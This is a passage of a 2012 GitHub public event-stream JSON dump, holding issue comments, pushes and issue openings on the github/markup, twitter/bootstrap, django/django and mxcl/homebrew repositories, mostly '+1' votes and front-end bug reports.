support","updated_at":"2012-05-20T12:15:29Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:15:30Z","id":"1553915168","actor":{"gravatar_id":"c41460d1cfc23cbc64a2639f753d8b70","url":"https://api.github.com/users/MartinSadovy","id":179039,"avatar_url":"https://secure.gravatar.com/avatar/c41460d1cfc23cbc64a2639f753d8b70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"MartinSadovy"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:13:14Z","body":"+1","updated_at":"2012-05-20T12:13:14Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808447","id":5808447,"user":{"avatar_url":"https://secure.gravatar.com/avatar/6f4840694cd92f20ce0df5233bbc04b0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6f4840694cd92f20ce0df5233bbc04b0","url":"https://api.github.com/users/HosipLan","id":158625,"login":"HosipLan"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":14,"updated_at":"2012-05-20T12:13:14Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:13:15Z","id":"1553914970","actor":{"gravatar_id":"6f4840694cd92f20ce0df5233bbc04b0","url":"https://api.github.com/users/HosipLan","id":158625,"avatar_url":"https://secure.gravatar.com/avatar/6f4840694cd92f20ce0df5233bbc04b0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"HosipLan"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:05:45Z","body":"+1","updated_at":"2012-05-20T12:05:45Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808414","id":5808414,"user":{"avatar_url":"https://secure.gravatar.com/avatar/6ed2b9a3737b1c2ad7fcb1a82fd379bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6ed2b9a3737b1c2ad7fcb1a82fd379bb","url":"https://api.github.com/users/Lopo","id":279973,"login":"Lopo"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":13,"updated_at":"2012-05-20T12:05:45Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:05:45Z","id":"1553914335","actor":{"gravatar_id":"6ed2b9a3737b1c2ad7fcb1a82fd379bb","url":"https://api.github.com/users/Lopo","id":279973,"avatar_url":"https://secure.gravatar.com/avatar/6ed2b9a3737b1c2ad7fcb1a82fd379bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Lopo"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:59:10Z","body":"+1","updated_at":"2012-05-20T11:59:10Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808385","id":5808385,"user":{"avatar_url":"https://secure.gravatar.com/avatar/df9a5876a05095a41d9762c60de90fc6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"df9a5876a05095a41d9762c60de90fc6","url":"https://api.github.com/users/Twista","id":1297511,"login":"Twista"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":12,"updated_at":"2012-05-20T11:59:10Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T11:59:11Z","id":"1553913765","actor":{"gravatar_id":"df9a5876a05095a41d9762c60de90fc6","url":"https://api.github.com/users/Twista","id":1297511,"avatar_url":"https://secure.gravatar.com/avatar/df9a5876a05095a41d9762c60de90fc6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Twista"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:53:44Z","body":"+1","updated_at":"2012-05-20T11:53:44Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808351","id":5808351,"user":{"avatar_url":"https://secure.gravatar.com/avatar/0b532998b3de0282ae25faec12409900?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"0b532998b3de0282ae25faec12409900","url":"https://api.github.com/users/f3l1x","id":538058,"login":"f3l1x"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"title":"[new markup] Texy! formatter support","body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","comments":11,"updated_at":"2012-05-20T11:53:44Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T11:53:44Z","id":"1553913287","actor":{"gravatar_id":"0b532998b3de0282ae25faec12409900","url":"https://api.github.com/users/f3l1x","id":538058,"avatar_url":"https://secure.gravatar.com/avatar/0b532998b3de0282ae25faec12409900?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"f3l1x"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:52:32Z","body":"+1 :)","updated_at":"2012-05-20T11:52:32Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808340","id":5808340,"user":{"avatar_url":"https://secure.gravatar.com/avatar/5632d1bf9598d8d03fa3da1c54f2118e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5632d1bf9598d8d03fa3da1c54f2118e","url":"https://api.github.com/users/enumag","id":539462,"login":"enumag"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":10,"updated_at":"2012-05-20T11:52:32Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T11:52:32Z","id":"1553913189","actor":{"gravatar_id":"5632d1bf9598d8d03fa3da1c54f2118e","url":"https://api.github.com/users/enumag","id":539462,"avatar_url":"https://secure.gravatar.com/avatar/5632d1bf9598d8d03fa3da1c54f2118e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"enumag"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:43:14Z","body":"Thanks! But in my case I have to wrap the the modal in a form...\n\nI'm thinking about something like this to fix it:\nI've to catch the enter key, when pressed and when a input is active.","updated_at":"2012-05-20T11:43:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5808288","id":5808288,"user":{"avatar_url":"https://secure.gravatar.com/avatar/e491117553ef3b2399721b8916af9813?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e491117553ef3b2399721b8916af9813","url":"https://api.github.com/users/royduin","id":1703233,"login":"royduin"}},"action":"created","issue":{"number":3343,"created_at":"2012-05-03T17:25:01Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"I've got a modal with a form in it and a input field. In de footer of the modal a submit button. When clicking on the submit button the form will be submitted. When pressing enter, from the input field, the modal disappears. Simple example:\r\n\r\n```html\r\n

\r\n\t
\r\n\t\t
\r\n\t\t\t

Login

\r\n\t\t
\r\n\t\t
\t\r\n\t\t\t\r\n\t\t
\r\n\t\t
\r\n\t\t\t\r\n\t\t
\r\n\t
\r\n
\r\n```\r\n\r\nI hope it will be fixed soon!","comments":4,"title":"Modal disappears when press enter","updated_at":"2012-05-20T11:43:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3343","id":4409660,"assignee":null,"milestone":null,"closed_at":"2012-05-04T19:04:44Z","html_url":"https://github.com/twitter/bootstrap/issues/3343","user":{"avatar_url":"https://secure.gravatar.com/avatar/e491117553ef3b2399721b8916af9813?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e491117553ef3b2399721b8916af9813","url":"https://api.github.com/users/royduin","id":1703233,"login":"royduin"},"labels":[],"state":"closed"}},"public":true,"org":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T11:43:16Z","id":"1553912424","actor":{"gravatar_id":"e491117553ef3b2399721b8916af9813","url":"https://api.github.com/users/royduin","id":1703233,"avatar_url":"https://secure.gravatar.com/avatar/e491117553ef3b2399721b8916af9813?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"royduin"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:23:11Z","body":"can you add one more image? There is sometimes a min. of 3 images required for the carousel to work.","updated_at":"2012-05-20T11:23:11Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5808187","id":5808187,"user":{"avatar_url":"https://secure.gravatar.com/avatar/a4f984ab9880a062644a6f9c15ce79e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a4f984ab9880a062644a6f9c15ce79e0","url":"https://api.github.com/users/thaibluesky","id":1756528,"login":"thaibluesky"}},"action":"created","issue":{"number":3528,"created_at":"2012-05-18T19:22:21Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Carousel does not start sliding to the next one after 5 seconds until after I click to the next slide. Only then does the timer start. What am I missing?","comments":8,"title":"Carousel does not start sliding","updated_at":"2012-05-20T11:23:11Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3528","id":4647904,"assignee":null,"milestone":null,"closed_at":null,"labels":[],"html_url":"https://github.com/twitter/bootstrap/issues/3528","user":{"avatar_url":"https://secure.gravatar.com/avatar/3fdf23df74c9d4897818887e74686e48?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3fdf23df74c9d4897818887e74686e48","url":"https://api.github.com/users/gigdates","id":1179255,"login":"gigdates"},"state":"open"}},"public":true,"org":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T11:23:15Z","id":"1553910775","actor":{"gravatar_id":"a4f984ab9880a062644a6f9c15ce79e0","url":"https://api.github.com/users/thaibluesky","id":1756528,"avatar_url":"https://secure.gravatar.com/avatar/a4f984ab9880a062644a6f9c15ce79e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"thaibluesky"}},{"type":"PushEvent","payload":{"head":"03f86a5adb930eac55dea1e903fb958c002d5bc4","size":1,"push_id":79407330,"commits":[{"sha":"03f86a5adb930eac55dea1e903fb958c002d5bc4","author":{"name":"Aymeric Augustin","email":"aymeric.augustin@m4x.org"},"url":"https://api.github.com/repos/django/django/commits/03f86a5adb930eac55dea1e903fb958c002d5bc4","distinct":true,"message":"Fixed #18354 -- Performance issue in CBV.\n\nPrevented repeating a query twice when the model isn't ordered by\n-date_field (in Meta), allow_empty is False and pagination isn't\nenabled."}],"ref":"refs/heads/master"},"public":true,"org":{"gravatar_id":"fd542381031aa84dca86628ece84fc07","url":"https://api.github.com/orgs/django","id":27804,"avatar_url":"https://secure.gravatar.com/avatar/fd542381031aa84dca86628ece84fc07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"django"},"repo":{"url":"https://api.github.com/repos/django/django","id":4164482,"name":"django/django"},"created_at":"2012-05-20T11:20:49Z","id":"1553910583","actor":{"gravatar_id":"ec12d7f60c595a45665f74b651aefabe","url":"https://api.github.com/users/aaugustin","id":788910,"avatar_url":"https://secure.gravatar.com/avatar/ec12d7f60c595a45665f74b651aefabe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"aaugustin"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T10:22:07Z","body":"Do you need any additional information from me?","updated_at":"2012-05-20T10:22:07Z","url":"https://api.github.com/repos/mxcl/homebrew/issues/comments/5807859","id":5807859,"user":{"avatar_url":"https://secure.gravatar.com/avatar/457f59eedabca29c1fa9cf798b5a11c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"457f59eedabca29c1fa9cf798b5a11c4","url":"https://api.github.com/users/fceller","id":392005,"login":"fceller"}},"action":"created","issue":{"number":12215,"created_at":"2012-05-12T19:12:18Z","pull_request":{"diff_url":"https://github.com/mxcl/homebrew/pull/12215.diff","patch_url":"https://github.com/mxcl/homebrew/pull/12215.patch","html_url":"https://github.com/mxcl/homebrew/pull/12215"},"comments":2,"title":"Upgrade ArangoDB (formally known as AvocadoDB) to 0.5.0","body":"We had to rename AvocadoDB to ArangoDB due to legal issues.","updated_at":"2012-05-20T10:22:07Z","url":"https://api.github.com/repos/mxcl/homebrew/issues/12215","id":4548813,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/mxcl/homebrew/issues/12215","user":{"avatar_url":"https://secure.gravatar.com/avatar/457f59eedabca29c1fa9cf798b5a11c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"457f59eedabca29c1fa9cf798b5a11c4","url":"https://api.github.com/users/fceller","id":392005,"login":"fceller"},"labels":[{"name":"renames","url":"https://api.github.com/repos/mxcl/homebrew/labels/renames","color":"e102d8"}],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/mxcl/homebrew","id":206084,"name":"mxcl/homebrew"},"created_at":"2012-05-20T10:22:08Z","id":"1553905852","actor":{"gravatar_id":"457f59eedabca29c1fa9cf798b5a11c4","url":"https://api.github.com/users/fceller","id":392005,"avatar_url":"https://secure.gravatar.com/avatar/457f59eedabca29c1fa9cf798b5a11c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"fceller"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T10:20:14Z","body":"Cfernandi, thanks, but that didn't help. The words aren't smushing together, it's just one of the words is too long and overflows the right of the screen. I guess I'll just have to get a shorter surname :P","updated_at":"2012-05-20T10:20:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5807847","id":5807847,"user":{"avatar_url":"https://secure.gravatar.com/avatar/6eff6b838ee9a1b1d5defa126a714ffc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6eff6b838ee9a1b1d5defa126a714ffc","url":"https://api.github.com/users/hughrawlinson","id":829836,"login":"hughrawlinson"}},"action":"created","issue":{"number":3230,"created_at":"2012-04-25T17:20:27Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"When you use a button to present a modal on mobile, the screen turns black, and only does the modal appear after some crafty scrolling and zooming. This is not apparent to a new user.\r\n\r\nAny fixes?\r\n\r\nMore discussion on the problem here: https://github.com/twitter/bootstrap/issues/1036","comments":16,"title":"Modals in 2.0 are broken on mobile.","updated_at":"2012-05-20T10:20:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3230","id":4285344,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/twitter/bootstrap/issues/3230","user":{"avatar_url":"https://secure.gravatar.com/avatar/c8112e74c84fea5e2faccbc7da3c2ba9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c8112e74c84fea5e2faccbc7da3c2ba9","url":"https://api.github.com/users/ATSiem","id":1068543,"login":"ATSiem"},"labels":[{"name":"css","url":"https://api.github.com/repos/twitter/bootstrap/labels/css","color":"7a43b6"},{"name":"responsive","url":"https://api.github.com/repos/twitter/bootstrap/labels/responsive","color":"ae8bd4"}],"state":"open"}},"public":true,"org":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T10:20:18Z","id":"1553905709","actor":{"gravatar_id":"6eff6b838ee9a1b1d5defa126a714ffc","url":"https://api.github.com/users/hughrawlinson","id":829836,"avatar_url":"https://secure.gravatar.com/avatar/6eff6b838ee9a1b1d5defa126a714ffc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"hughrawlinson"}},{"type":"PushEvent","payload":{"head":"b0c1e5c081472436bf2300af3073cef1df1bd696","size":1,"push_id":79403570,"ref":"refs/heads/master","commits":[{"sha":"b0c1e5c081472436bf2300af3073cef1df1bd696","author":{"name":"Aymeric Augustin","email":"aymeric.augustin@m4x.org"},"url":"https://api.github.com/repos/django/django/commits/b0c1e5c081472436bf2300af3073cef1df1bd696","distinct":true,"message":"Documented next/previous_week. Refs #10890."}]},"public":true,"org":{"gravatar_id":"fd542381031aa84dca86628ece84fc07","url":"https://api.github.com/orgs/django","id":27804,"avatar_url":"https://secure.gravatar.com/avatar/fd542381031aa84dca86628ece84fc07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"django"},"repo":{"url":"https://api.github.com/repos/django/django","id":4164482,"name":"django/django"},"created_at":"2012-05-20T09:58:44Z","id":"1553903002","actor":{"gravatar_id":"ec12d7f60c595a45665f74b651aefabe","url":"https://api.github.com/users/aaugustin","id":788910,"avatar_url":"https://secure.gravatar.com/avatar/ec12d7f60c595a45665f74b651aefabe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"aaugustin"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T09:27:14Z","body":"Please excuse the crudity of this model... ;) I'm too exhausted to really pretty it up right now, but here's a new mock-up based on a combination of my old one and some of the others I've seen here: http://jsfiddle.net/VEW2K/\n\nA rundown:\n\n* No javascript.\n* No extra tags (just a checkbox and a label).\n* Should degrade gracefully.\n\nI have not tested it in IE or Firefox, and I was not able to get CSS transitions working on the :before and :after pseudo content, so maybe someone else will have better luck. But I think it's cleaner than my old test, and I prefer a non-JS solution personally.","updated_at":"2012-05-20T09:27:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5807584","id":5807584,"user":{"avatar_url":"https://secure.gravatar.com/avatar/02688ffd42b4265a4fa2ca1683115e4e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"02688ffd42b4265a4fa2ca1683115e4e","url":"https://api.github.com/users/thomshouse","id":75411,"login":"thomshouse"}},"action":"created","issue":{"number":1935,"created_at":"2012-02-13T00:05:29Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"comments":39,"body":"Not sure if anyone has mentioned this or not, but it would be cool to have something like this:\r\n\r\nhttp://papermashup.com/demos/ajax-switch/","title":"Create ON/OFF Switch","updated_at":"2012-05-20T09:27:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/1935","id":3194346,"assignee":null,"milestone":{"number":7,"created_at":"2012-01-09T17:18:56Z","due_on":null,"title":"v2.1.0","creator":{"avatar_url":"https://secure.gravatar.com/avatar/bc4ab438f7a4ce1c406aadc688427f2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bc4ab438f7a4ce1c406aadc688427f2c","url":"https://api.github.com/users/markdotto","id":98681,"login":"markdotto"},"url":"https://api.github.com/repos/twitter/bootstrap/milestones/7","id":71627,"closed_issues":4,"open_issues":15,"description":"","state":"open"},"closed_at":null,"html_url":"https://github.com/twitter/bootstrap/issues/1935","user":{"avatar_url":"https://secure.gravatar.com/avatar/25fb0acc0fc379c2974004bb5d050bc2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"25fb0acc0fc379c2974004bb5d050bc2","url":"https://api.github.com/users/adetwiler","id":1124801,"login":"adetwiler"},"labels":[{"name":"feature","url":"https://api.github.com/repos/twitter/bootstrap/labels/feature","color":"4bb14b"}],"state":"open"}},"public":true,"org":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T09:27:16Z","id":"1553896923","actor":{"gravatar_id":"02688ffd42b4265a4fa2ca1683115e4e","url":"https://api.github.com/users/thomshouse","id":75411,"avatar_url":"https://secure.gravatar.com/avatar/02688ffd42b4265a4fa2ca1683115e4e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"thomshouse"}},{"type":"IssuesEvent","payload":{"action":"opened","issue":{"number":3546,"created_at":"2012-05-20T09:00:43Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"I have a problem when I integrate the content with jquery \".load\" (a form for example) in a modal window or a single page. All scripts tooltips, popover, datepicker no longer starts?\n\nBy cons scripts work fine in a normal page.\n\nIf I integrate content directly in the tags \"modal-body\" of the modal window, the scripts work perfectly\n\nThe objective is to integrate a form on the fly, in a single modal window, after the click of a button. But once the loaded content such as a datepicker does not work! or the tooltips on a label, ...\n\nhere a test : http://testcode.olvani.net/test2\n\nThank for reply\nOlivier","comments":0,"title":"Problem for load script (tooltips, popover,...) after use jquery .load dynamic 